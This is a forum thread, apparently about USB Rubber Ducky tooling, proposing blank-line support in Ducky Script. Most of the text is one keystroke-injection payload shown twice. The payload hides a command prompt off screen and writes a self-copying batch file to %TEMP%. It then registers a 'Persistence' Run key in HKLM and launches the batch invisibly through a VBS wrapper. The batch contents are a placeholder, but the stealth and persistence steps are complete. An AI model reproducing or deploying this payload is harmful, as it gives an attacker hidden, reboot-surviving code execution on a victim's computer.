Jump to content

[Suggestion] Possible improvement to duckscript (whitespace)


Recommended Posts

It would be nice to be able to insert white space into duck script, so that commands could be grouped together, and would be easier to read. Here is an example. Just a suggestion to anyone who is doing the encoders. I'm thinking that the encoder could just throw away blank lines during processing.

Grouped:

REM By overwraith
REM GenericBatch.txt
REM Encoder V2.4
REM Target: WINDOWS VISTA/7 
REM ADMIN PRIVILEGES
REM PURPOSE: to create a script that types in a generic batch file and executes siletntly. 

REM Using the run command for a broader OS base. 
DELAY 3000
GUI R
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER

REM Make batch file. 
REM Delete batch file if already exists. 
STRING erase /Q batch.bat
ENTER
REM Make the batch file. 
STRING copy con batch.bat
ENTER
REM Copy current program to another location. 
STRING COPY %0 %TEMP%
ENTER
REM Registry key that restarts script on reboot. 
STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f
ENTER
REM Continue batch file contents here. . . 
CONTROL z
ENTER

REM Make the VBS file that allows running invisibly.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER 
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

STRING wscript.exe invis.vbs batch.bat
ENTER
STRING EXIT
ENTER

Not Grouped:

REM By overwraith
REM GenericBatch.txt
REM Encoder V2.4
REM Target: WINDOWS VISTA/7 
REM ADMIN PRIVILEGES
REM PURPOSE: to create a script that types in a generic batch file and executes siletntly. 
REM Using the run command for a broader OS base. 
DELAY 3000
GUI R
DELAY 1000
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
ENTER
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
REM Make batch file. 
REM Delete batch file if already exists. 
STRING erase /Q batch.bat
ENTER
REM Make the batch file. 
STRING copy con batch.bat
ENTER
REM Copy current program to another location. 
STRING COPY %0 %TEMP%
ENTER
REM Registry key that restarts script on reboot. 
STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d "wscript.exe %TEMP%\invis.vbs %TEMP%\batch.bat" /f
ENTER
REM Continue batch file contents here. . . 
CONTROL z
ENTER
REM Make the VBS file that allows running invisibly.
REM Delete vbs file if already exists
STRING erase /Q invis.vbs
ENTER 
REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER
STRING wscript.exe invis.vbs batch.bat
ENTER
STRING EXIT
ENTER
Edited by overwraith
Link to comment
Share on other sites

This is something I'm writing into the next version. I'm just waiting until after my exams to work on it fully.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...